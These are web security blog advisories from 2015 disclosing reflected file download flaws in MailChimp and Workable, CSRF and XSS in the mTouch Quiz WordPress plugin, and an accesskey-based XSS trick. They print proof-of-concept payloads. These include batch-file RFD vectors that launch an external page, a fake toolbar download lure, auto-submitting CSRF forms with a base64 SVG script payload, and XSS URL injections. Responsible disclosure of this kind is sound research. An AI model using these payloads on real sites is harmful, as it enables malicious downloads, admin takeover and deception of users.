David Sopas – Web Security Researcher

23/12/15 Advisories # , , ,

MailChimp Reflected File Download

MailChimp Reflected File Download

When auditing a MailChimp client for Cobalt.io I noticed that this company suffers from a Reflected File Download vulnerability that could be exploited only by using HTML5 download attribute.

Let’s take a look into the original GET request:


This request is part of the subscription to a email campaign at MailChimp.
Checking the URL you can see “c” parameter is nothing more than the callback:

?({“result”:”error”,”msg”:”Blank email address”})

Putting my RFD vector on the callback:


I get the following reflected:

start chrome davidsopas.com/poc/malware.htm||({“result”:”error”,”msg”:”Blank email address”})

Because list-manage.com is not URL permissive I needed to use a external page to create my proof-of-concept:

<div align="center">
<a href="http://[mailchimp_client].us5.list-manage.com/subscribe/post-json?u=41352a29fd45def27e8aea4cd&id=91d16923d8&c=start%20chrome%20davidsopas.com/poc/malware.htm||" download="setup.bat" onclick="return false;"><img src="https://hfweb-assets.s3.amazonaws.com/integrations/mailchimp.png" border="0" /></a>
<h1>Install MailChimp toolbar to improve your email send score!</h1>
<p><i>(Use "Save Link As" to download the file)</i></p>

So a possible attack scenario would be:

  1. Victim visits a page with a specially crafted page – like my PoC
  2. Victim downloads the file using Save Link As (which comes from a trusted domain – list-manage.com)
  3. Victim gets hijacked

Because the download comes from a trusted domain, victims are tricked to execute files that are not suppose to.
This works perfectly on latest versions of Google Chrome and Opera.


MailChimp considered this issue to be a social engineering attack so they’ll not fix it.
In my opinion this is something that this company could prevent from happening just by adding a header to their request. In the end it’s a MailChimp decision not mine.

When I requested the disclosure of this report MailChimp replied:

We neither condone nor prohibit you from adding this to your security blog.

Hope it helps other companies and security researchers to better understand RFD…

0 likes no responses
18/12/15 Advisories # , , , , ,

Multiple vulns on mTouch Quiz WordPress plugin

Multiple vulns on mTouch Quiz WordPress plugin

Plugin link: https://wordpress.org/plugins/mtouch-quiz/
Active Installs: 5,000+
Version tested: 3.1.2
CVE Reference: Waiting

mTouch Quiz lets you add quizzes to your site. This plugin was designed with learning, touch friendliness and versatility in mind.

I found multiple vulnerabilities on WordPress plugin – mTouch Quiz <= 3.1.2.

#1 Reflected XSS on Quiz Manage
“quiz” parameter wasn’t properly sanitized therefore you could inject a XSS vector on the URL and get reflected on the screen.



Looking at the end of the page you could see the injected HTML.

Reflected source-code:

<input type="hidden" name="quiz" value="1\"><h1>XSS</h1>

#2 CSRF on General Options
On plugin general options lacked a security token (like wp_nonce) to prevent CSRF attacks.
Take this form from example:

<form action="https://victims_website/wp-admin/options-general.php?page=mtouchquiz" name="dsopas" method="POST">
<input type="hidden" name="mtq_hidden" value="Y" />
<input type="hidden" name="left_delimiter" value="\(\displaystyle{" />
<input type="hidden" name="right_delimiter" value="}\)" />
<input type="hidden" name="showalerts" value="1" />
<input type="hidden" name="show_support" value="1" />
</form> <script> document.dsopas.submit(); </script>

If a authenticated admin visited this page with this HTML code his settings will be changed.

#3 Add a question using CSRF and get a persistent XSS

This was a critical issue. If a authenticated admin visited a page with this HTML he would add a question with a XSS vector (in my proof-of-concept would prompt a text).
A malicious user could use this to spread a malware, admin takeover, etc…

<form action="https://victims_website/wp-admin/edit.php?page=mtouch-quiz/question.php&quiz=1" name="dsopas" method="POST">
<input type="hidden" name="content" value='<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0PnByb21wdCgiWFNTIik7PC9zY3JpcHQ+PC9zdmc+" type="image/svg+xml" width="300" height="150"></embed>' />
<input type="hidden" name="correct_answer[]" value="1" />
<input type="hidden" name="answer[]" value="test1" />
<input type="hidden" name="hint[]" value="hint1" />
<input type="hidden" name="enclose_latex[]" value="2" />
<input type="hidden" name="answer[]" value="test2" />
<input type="hidden" name="enclose_latex[]" value="2" />
<input type="hidden" name="hint[]" value="hint2" />
<input type="hidden" name="answer[]" value="" />
<input type="hidden" name="hint[]" value="" />
<input type="hidden" name="answer[]" value="" />
<input type="hidden" name="hint[]" value="" />
<input type="hidden" name="answer[]" value="" />
<input type="hidden" name="hint[]" value="" />
<input type="hidden" name="explanation" value="<h1>xss</h1>" />
<input type="hidden" name="point_value" value="100" />
<input type="hidden" name="quiz" value="1" />
<input type="hidden" name="question" value="" />
<input type="hidden" name="user_ID" value="1" />
<input type="hidden" name="action" value="new" />
<input type="hidden" name="submit" value="Save" />
</form> <script> document.dsopas.submit(); </script>


#4 Quiz Name XSS

This was a minor issue but if other user level had access to this, he could change the quiz name to a XSS vector and get a persistent XSS.

Vendor in a matter of few weeks launched a patched version – 3.1.3. Also he was kind enough to put my name on the changelog.

Corrected several potential security vulnerabilities. Thanks to David Sopas @dsopas for very kindly pointing them out and suggesting effective solutions.


0 likes no responses
14/12/15 Tips and Tricks # , , ,

XSS on a input hidden field

XSS on a input hidden field

…where you have the input sanitized for ‘<> chars.

I come across a web application on a bounty program where the returnurl was placed in the following HTML:

<input type="hidden" name="returnurl" value="[USER INJECT]" />

The security filter removed <>’ chars but kept the double quote active and reflected.
What’s the first thing that comes to mind?

http://victim/?returnurl=" onclick="prompt(1)

Oh no! Wait… This is a hidden field so most Javascript events can’t work because you can’t see the input box right?
Also you can’t style it to show the field.

What I did was quite simple. I remember that Gareth Heyes wrote a small article on PortSwigger where you can use accesskey to get the XSS working. You press a key on your keyboard and you call a Javascript event. So my injection become:

http://victim/?returnurl=" accesskey="X" onclick="alert(document.domain)

Which reflected:

<input type="hidden" name="returnurl" value="" accesskey="X" onclick="alert(document.domain)" />

If the victim uses the accesskey X [usually by using ALT+SHIFT+X – Windows or CTRL+ALT+X in OSX] it will get the domain reflected in the javascript alert box. Keep in mind that this works only at Firefox.

To give a better report and also to bypass their single quote I also sent the following XSS vector:

http://victim/?returnurl=" accesskey="X" onclick="alert(String.fromCharCode(39,89,111,117,32,103,111,116,32,88,83,83,101,100,33,39))

It requires more user interaction but might give the bug appreciation program the Woooo! Factor 🙂

0 likes one response
01/12/15 Advisories # , , ,

Workable Reflected File Download

Workable Reflected File Download

For those who don’t know Workable.com

Workable is affordable, usable hiring software. It replaces email and spreadsheets with an applicant tracking system that your team will actually enjoy using. From building a branded careers page, to posting ads to multiple job boards Workable makes it simple. Browse rich profiles of your candidates and work effectively with your hiring team on a platform that keeps your notes, communication, schedule, comments and analytics in one place. It’s everything you need to hire better.

I first noticed this Reflected File Download when auditing a private program at Cobalt.io.
When entering Workable.com I noticed a XHR request on my Google Inspector:
workable.com/api/accounts/8012?origin=embed which returned the following information:

{"name":"Aesculap Healthcare","description":"","jobs":[]}

Nothing unusual here but when I injected in the URL a “callback” parameter it reflected my injection:

/**/dsopas({"name":"Aesculap Healthcare","description":"","jobs":[]});

This injection gave me the opportunity to launch a RFD attack with following vector:
workable.com/api/accounts/8012?origin=embed&callback=||start chrome davidsopas.com/poc/malware.htm ||

/**/||start chrome davidsopas.com/poc/malware.htm ||({"name":"Aesculap Healthcare","description":"","jobs":[]});

Now that I had my RFD vector reflected on the JSON I needed the filename manipulation. Due to your URL being permissive I could simply add a extension to the filename called and got a batch file:

workable.com/api/accounts/8012.bat?origin=embed&callback=||start chrome davidsopas.com/poc/malware.htm ||

If you call the URL directly on Internet Explorer 9 and 8 you’ll get a file download prompt coming from workable.com.

On Google Chrome and Opera latest versions you need to force the download using the HTML5 download attribute.


So in the proof-of-concept I sent them I was able to execute a new chrome window with a page that simulated malware.

A malicious user could:

  1. Launch a malicious campaign with the specially crafted page providing Workable enterprise accounts
  2. Victim downloads the file thinking that is from a trusted domain [workable.com]
  3. Malicious user gains control over victims machine

Workable surprised me with a gift thanking me for the responsible disclosure.
Cool guys! 🙂

13-11-2015 Sent the security report to Workable
23-11-2015 Workable replied back with the information that they were fixing it
26-11-2015 Issue is fixed
01-12-2015 Full disclosure

0 likes no responses